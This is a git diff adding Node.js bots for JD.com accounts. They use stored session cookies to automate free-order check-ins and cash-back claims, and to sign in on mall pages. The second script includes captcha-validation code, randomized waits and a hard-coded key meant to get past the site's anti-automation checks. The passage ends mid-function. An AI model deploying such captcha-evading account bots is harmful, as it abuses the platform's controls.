JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_signFree.js b/jd_signFree.js new file mode 100644 index 0000000..0cfc3e6 --- /dev/null +++ b/jd_signFree.js @@ -0,0 +1,570 @@ +// 自行确认是否有效 + +const $ = new Env('极速免费签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const UA = $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie, + msg = [] + +const activityId = 'PiuLvM8vamONsWzC0wqBGQ' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + msg.push(($.nickName || $.UserName) + ':') + await sign_all() + } + } + if (msg.length) { + console.log('有消息,推送消息') + await notify.sendNotify($.name, msg.join('\n')) + } else { + console.error('无消息,推送错误') + await notify.sendNotify($.name + '错误!!', "无消息可推送!!") + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + notify.sendNotify($.name + '异常!!', msg.join('\n') + '\n' + e) + }) + .finally(() => { + $.msg($.name, '', `结束`); + $.done(); + }) +async function sign_all() { + await query() + if (!$.signFreeOrderInfoList){ + console.log('啥也没买,结束') + return + } + await $.wait(3000) + for (const order of $.signFreeOrderInfoList) { + // console.debug('now:', order) + $.productName = order.productName + await sign(order.orderId) + await $.wait(3000) + } + await $.wait(3000) + await query() + await $.wait(3000) + for (const order of $.signFreeOrderInfoList) { + // console.debug('2nd now:', order) + if (order.needSignDays == order.hasSignDays) { + console.log(order.productName, '可提现,执行提现') + $.productName = order.productName + await cash(order.orderId) + await $.wait(3000) + } + } +} + +function query() { + return new Promise(resolve => { + $.get(taskGetUrl("signFreeHome", { "linkId": activityId }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('query:', data) + data = JSON.parse(data) + $.signFreeOrderInfoList = data.data.signFreeOrderInfoList + if (data.success == true) { + if (!data.data.signFreeOrderInfoList) { + console.log("没有需要签到的商品,请到京东极速版[签到免单]购买商品"); + msg.push("没有需要签到的商品,请到京东极速版[签到免单]购买商品") + } else { + $.signFreeOrderInfoList = data.data.signFreeOrderInfoList + console.log("脚本也许随时失效,请注意"); + msg.push("脚本也许随时失效,请注意") + if (data.data.risk == true) { + console.log("风控用户,可能有异常"); + msg.push("风控用户,可能有异常") + } + } + }else{ + console.error("失败"); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function sign(orderId) { + return new Promise(resolve => { + // console.debug('sign orderId:', orderId) + $.post(taskPostUrl("signFreeSignIn", { "linkId": activityId, "orderId": orderId }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('sign:', data) + data = JSON.parse(data) + let msg_temp + if (data.success) { + msg_temp = $.productName + ' 签到成功' + } else { + msg_temp = $.productName + ' ' + (data.errMsg || '未知错误') + } + console.log(msg_temp) + msg.push(msg_temp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function cash(orderId) { + return new Promise(resolve => { + // console.debug('cash orderId:', orderId) + $.post(taskPostUrl("signFreePrize", { "linkId": activityId, "orderId": orderId, "prizeType": 2 }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('cash:', data) + data = JSON.parse(data) + let msg_temp + if (data.success) { + msg_temp = $.productName + ' 提现成功' + } else { + msg_temp = $.productName + ' ' + (data.errMsg || '未知错误') + } + console.log(msg_temp) + msg.push(msg_temp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + // 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": UA, + 'accept-language': 'en-US,zh-CN;q=0.9', + 'accept-encoding': 'gzip, deflate, br', + "referer": "https://signfree.jd.com/?activityId=" + activityId + } + } +} + +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + // 'Connection': 'keep-alive', + 'user-agent': UA, + 'accept-language': 'en-US,zh-CN;q=0.9', + 'accept-encoding': 'gzip, deflate, br', + "referer": "https://signfree.jd.com/?activityId=" + activityId + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_sign_graphics.js b/jd_sign_graphics.js new file mode 100644 index 0000000..6843c29 --- /dev/null +++ b/jd_sign_graphics.js @@ -0,0 +1,918 @@ +/* +cron 14 10 * * * https://raw.githubusercontent.com/smiek2121/scripts/master/jd_sign_graphics.js + +*/ + +// const Faker=require('./sign_graphics_validate.js'); + +const $ = new Env('京东签到图形验证'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +CryptoScripts() +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let cookiesArr = [], cookie = ''; + +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 +const PNG = require('png-js'); +const https = require('https'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); + +let message = '', subTitle = '', beanNum = 0; +let fp = '' +let eid = '' +let signFlag = false +let successNum = 0 +let errorNum = 0 +let JD_API_HOST = 'https://jdjoy.jd.com' +$.invokeKey = "q8DNJdpcfRQ69gIx" +$.invokeKey = $.isNode() ? (process.env.JD_invokeKey ? process.env.JD_invokeKey : `${$.invokeKey}`) : ($.getdata('JD_invokeKey') ? $.getdata('JD_invokeKey') : `${$.invokeKey}`); +let lkt = 0 + +if ($.isNode()) { + if(process.env.JOY_HOST){ + JD_API_HOST = process.env.JOY_HOST + } + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const turnTableId = [ + { "name": "京东商城-健康", "id": 527, "url": "https://prodev.m.jd.com/mall/active/w2oeK5yLdHqHvwef7SMMy4PL8LF/index.html" }, + { "name": "京东商城-清洁", "id": 446, "url": "https://prodev.m.jd.com/mall/active/2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6/index.html" }, + { "name": "京东商城-个护", "id": 336, "url": "https://prodev.m.jd.com/mall/active/2tZssTgnQsiUqhmg5ooLSHY9XSeN/index.html" }, + { "name": "京东商城-母婴", "id": 458, "url": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html" }, + { "name": "京东商城-数码", "id": 347, "url": "https://prodev.m.jd.com/mall/active/4SWjnZSCTHPYjE5T7j35rxxuMTb6/index.html" }, + { "name": "PLUS会员定制", "id": 1265, "url": "https://prodev.m.jd.com/mall/active/N9MpLQdxZgiczZaMx2SzmSfZSvF/index.html" }, + // { "name": "京东商城-童装", "id": 511, "url": "https://prodev.m.jd.com/mall/active/3Af6mZNcf5m795T8dtDVfDwWVNhJ/index.html" }, + // { "name": "京东商城-内衣", "id": 1071, "url": "https://prodev.m.jd.com/mall/active/4PgpL1xqPSW1sVXCJ3xopDbB1f69/index.html" }, + // { "name": "京东超市", "id": 1204, "url": "https://pro.m.jd.com/mall/active/QPwDgLSops2bcsYqQ57hENGrjgj/index.html" }, +] + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.nickName = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + beanNum = 0 + successNum = 0 + errorNum = 0 + invalidNum = 0 + subTitle = ''; + lkt = new Date().getTime() + await getUA() + await signRun() + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset()*60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', {hour12: false}).replace(' 24:',' 00:'); + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n【签到概览】: 成功${successNum}个, 失败${errorNum}个${invalidNum && ",失效"+invalidNum+"个" || ""}\n${beanNum > 0 && "【签到奖励】: "+beanNum+"京豆\n" || ""}` + message += msg + '\n' + if($.isNode()) $.msg($.name, msg); + } + } + await showMsg(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + $.msg($.name, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); + if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); +} +async function signRun() { + for (let i in turnTableId) { + $.validatorUrl = turnTableId[i].url || '' + signFlag = 0 + await Login(i) + if(signFlag == 1){ + successNum++; + }else if(signFlag == 2){ + invalidNum++; + }else{ + errorNum++; + } + let time = Math.random() * 2000 + 2000 + console.log(`等待${(time/1000).toFixed(3)}秒`) + await $.wait(parseInt(time, 10)) + } +} + +function Login(i) { + return new Promise(async resolve => { + $.appId = '9a4de'; + await requestAlgo(); + $.get(taskUrl(turnTableId[i].id), async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (data.hasSign === false) { + // let arr = await Faker.getBody($.UA,turnTableId[i].url) + // fp = arr.fp + // await getEid(arr) + $.appId = 'b342e'; + await requestAlgo(); + await Sign(i,1) + // console.log("验证码:"+$.validate) + if($.validate){ + if($.validatorTime < 33){ + let time = Math.random() * 5000 + 33000 - $.validatorTime*1000 + console.log(`等待${(time/1000).toFixed(3)}秒`) + await $.wait(parseInt(time, 10)) + } + await Sign(i,3) + } + let time = Math.random() * 5000 + 32000 + console.log(`等待${(time/1000).toFixed(3)}秒`) + await $.wait(parseInt(time, 10)) + } else if (data.hasSign === true) { + if(data.records && data.records[0]){ + for(let i in data.records){ + let item = data.records[i] + if((item.hasSign == false && item.index != 1) || i == data.records.length-1){ + if(item.hasSign == false) i = i-1 + // beanNum += Number(data.records[i].beanQuantity) + break; + } + } + } + signFlag = 1; + console.log(`${turnTableId[i].name} 已签到`) + }else{ + signFlag = 2; + console.log(`${turnTableId[i].name} 无法签到\n签到地址:${turnTableId[i].url}\n`) + } + } else { + if (data.errorMessage) { + if(data.errorMessage.indexOf('已签到') > -1 || 